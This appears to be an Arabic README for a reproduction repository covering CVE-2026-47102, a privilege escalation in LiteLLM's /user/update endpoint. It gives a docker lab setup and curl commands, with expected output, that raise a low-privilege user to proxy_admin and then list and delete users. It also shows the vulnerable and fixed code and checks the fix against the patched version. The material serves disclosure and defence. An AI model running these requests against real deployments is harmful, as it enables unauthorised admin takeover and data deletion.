
الكود الخاص بإعادة إنتاج الثغرة المقابلة شخصيًا
/user/updateLiteLLM تسمح نقطة النهاية
/user/updateفي الإصدار v1.83.7 (قبل v1.83.10) للمستخدمين ذوي الامتيازات المنخفضة الذين لديهم إمكانية الوصول إلى هذه النقطة بتعديل حقلuser_roleلـproxy_adminعند تحديث حسابهم الخاص، مما يؤدي إلى تصعيد امتيازات غير مصرح به.
| الحقل | القيمة |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (عالية) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (تفويض غير صحيح) |
| المتأثر | LiteLLM < 1.83.10 (تم التأكيد في v1.83.7) |
| المُصلح | v1.83.10+ (أُضيف التحقق من إذن تعديل حقل user_role) |
| نُشر | 2026-05-21 |
| اكتشف بواسطة | Fenix Qiao (13ph03nix) — Obsidian Security |
| روابط | NVD |
تُستخدم نقطة النهاية /user/update في LiteLLM لتحديث خصائص المستخدم. في الإصدارات المتأثرة،
تتحقق دالة can_user_call_user_update() في /user/update مما إذا كان للمستخدم صلاحية تحديث مستخدم معين
(تسمح للمستخدم بتحديث سجله الخاص)، ولكنها لا تفرض أي قيود على الحقول القابلة للتعديل.
هذا يعني أن أي مستخدم يمكنه الوصول إلى نقطة النهاية /user/update (مثل مستخدم منحه المسؤول صلاحية المسار،
أو مهاجم حصل على إمكانية الوصول إلى هذه النقطة من خلال ثغرة أخرى)، يمكنه تعديل حقل user_role الخاص به
لرفع دوره إلى proxy_admin، والحصول على إمكانية الوصول الكامل إلى جميع نقاط النهاية الإدارية.
مسؤول (Admin) ينشئ مفتاح API للمستخدم الداخلي (internal_user) مع صلاحية مسار /user/update
→ يحصل المستخدم الداخلي (internal_user) على صلاحية الوصول على مستوى المسار
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ يتم رفع الدور إلى proxy_admin
→ GET /user/list (التحقق من إمكانية الوصول الإداري)
يمكن استخدام الثغرتين معًا: CVE-2026-47101 لإنشاء مفتاح ذي مسار شامل (للوصول إلى
/user/update)، و CVE-2026-47102 لرفع دور المستخدم إلىproxy_admin.
# 1. تشغيل PostgreSQL + LiteLLM المُصاب (v1.83.7-stable)
docker compose up -d litellm
# انتظار جاهزية الخدمة (حوالي 10-30 ثانية)
sleep 15
# فحص سجلات الحاوية
docker logs litellm-47102-privesc 2>&1 | tail -10
يجب أن يحتوي الإخراج المتوقع على سجلات نجاح بدء التشغيل مثل Uvicorn running on http://0.0.0.0:4000.
استخدم المفتاح الرئيسي (master key) لإنشاء حساب internal_user منخفض الامتيازات:
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
الإخراج المتوقع:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
يقوم المسؤول بإنشاء مفتاح API للمستخدم الداخلي (internal_user) مع إمكانية الوصول إلى مسار /user/update.
هذه هي الطريقة النموذجية لامتلاك إذن الوصول إلى نقطة النهاية /user/update في بيئة حقيقية:
# استخدام المفتاح الرئيسي لإنشاء مفتاح بمسار /user/update
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
الإخراج المتوقع:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
استخدم المفتاح الذي تم الحصول عليه في الخطوة السابقة مع صلاحية مسار /user/update لرفع دور المستخدم إلى proxy_admin:
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
الإخراج المتوقع:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ نقطة الثغرة: تم تغيير
user_roleمنinternal_userإلىproxy_admin! تسمح نقطة النهاية/user/updateللمستخدم بتعديل حقلuser_roleالخاص به دون أي قيود على مستوى الحقل.
تحقق من نجاح تصعيد الدور من خلال نقطة النهاية /user/list (باستخدام مفتاح API الأصلي للمستخدم الداخلي،
الذي ليس له قيود على المسارات، وبعد رفعه إلى proxy_admin يحصل تلقائيًا على صلاحيات إدارية):
# استخدام المفتاح الذي تم رفعه إلى proxy_admin (مفتاح internal_user الأصلي بدون قيود مسار)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
الإخراج المتوقع:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
باستخدام صلاحية proxy_admin المكتسبة، يمكن حذف أي مستخدم عبر /user/delete
(باستخدام نفس مفتاح API الأصلي للمستخدم الداخلي):
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
الإخراج المتوقع:
1
تم دمج الخطوات أعلاه في demo.sh، يمكن تشغيله مباشرة:
# إعادة إنتاج كاملة (بما في ذلك مقارنة الإصدار المُصاب مع المُصلح)
bash demo.sh
شغّل الإصدار المُصلح (v1.83.10-stable) للتحقق من إصلاح CVE-2026-47102:
docker compose --profile fixed up -d litellm-fixed
أنشئ مستخدمًا داخليًا:
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
أنشئ مفتاحًا بمسار /user/update:
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
حاول رفع الامتيازات (من المتوقع أن يتم منعه):
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
الإخراج المتوقع (الإصدار المُصلح يمنع الطلب غير المصرح به):
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
المقارنة مع الإصدار المُصاب:
| سيناريو الاختبار | الإصدار المُصاب (v1.83.7) | الإصدار المُصلح (v1.83.10) |
|---|---|---|
| مفتاح المسار يُعدِّل user_role | ✅ نجح في رفع الامتيازات إلى proxy_admin | ❌ مُنع ("Only proxy admins can modify user roles.") |
| الوصول إلى /user/list | ✅ نجح في الحصول على قائمة المستخدمين | ❌ مُنع |
يقع السبب الجذري للثغرة في دالة can_user_call_user_update() في نقطة النهاية /user/update:
/user/update — عدم وجود التحقق من صلاحية الحقل# الكود المُصاب — internal_user_endpoints.py:1197-1208
def can_user_call_user_update(user_api_key_dict, user_info):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # يمكن للمسؤول تحديث أي مستخدم
elif user_api_key_dict.user_id == user_info.user_id:
return True # ❌ يمكن للمستخدم تحديث سجله الخاص — بما في ذلك حقل user_role!
return False
طريقة الإصلاح (v1.83.10+):
def can_user_call_user_update(user_api_key_dict, user_info, data):
if user_api_key_dict.user_role == LitellmUserRoles.PROXY_ADMIN.value:
return True # لا يزال بإمكان المسؤول تحديث أي مستخدم وأي حقل
elif user_api_key_dict.user_id == user_info.user_id:
# تقييد الحقول التي يمكن لغير المسؤول تعديلها
allowed_fields = {"metadata", "display_name", "email"}
requested_fields = set(data.keys())
forbidden = requested_fields - allowed_fields
if forbidden:
raise ForbiddenError(f"Cannot modify fields: {forbidden}")
return True
return False
يحتاج المهاجم إلى مفتاح API يمكنه الوصول إلى نقطة النهاية /user/update. يمكن الحصول على ذلك من خلال:
/user/update/key/generate لإنشاء مفتاح شامل/user/updateالخطوة 1: الحصول على مفتاح API بصلاحية مسار /user/update
الخطوة 2: استدعاء /user/update لرفع الدور:
POST /user/update
Authorization: Bearer sk-route-key
Content-Type: application/json
{"user_id": "target-user-id", "user_role": "proxy_admin"}
الخطوة 3: التحقق من الصلاحيات الإدارية:
GET /user/list
Authorization: Bearer sk-route-key
أضاف الإصدار المُصلح التحقق من صلاحية الحقل في /user/update:
metadatauser_role — يمكن فقط لـ proxy_admin تعديل دور المستخدمرسالة الخطأ: "Only proxy admins can modify user roles."
CVE-2026-47102/
├── README.md # هذا الملف
├── CVE-2026-47102_漏洞复现报告.docx # تقرير إعادة الإنتاج (صيني)
├── docker-compose.yml # PostgreSQL + LiteLLM مُصاب/مُصلح
├── config.yaml # إعدادات LiteLLM مع اتصال قاعدة البيانات
├── requirements.txt # تبعيات Python
├── demo.sh # سكريبت إعادة الإنتاج بنقرة واحدة
├── exploit/
│ ├── exploit.py # سكريبت استغلال Python
│ └── payload.py # منشئي الحمولات
├── docs/
└── screenshots/
/user/update مع تغييرات user_role بحثًا عن نشاط شاذإخلاء مسؤولية: هذا المحتوى مقدم لأغراض تعليمية واختبارات أمنية مصرح بها فقط.
| عنصر المقارنة | CVE-2026-47101 | CVE-2026-47102 |
|---|
| تركيز الثغرة | /key/generate لا يتحقق من allowed_routes | /user/update يفتقر إلى صلاحية على مستوى الحقل |
| شرط الهجوم | يمكن للمستخدم الداخلي (internal_user) استدعاء /key/generate مباشرة | يحتاج أولاً إلى الحصول على صلاحية الوصول لمسار /user/update |
| الإصدار المُصلح | v1.83.14 | v1.83.10 |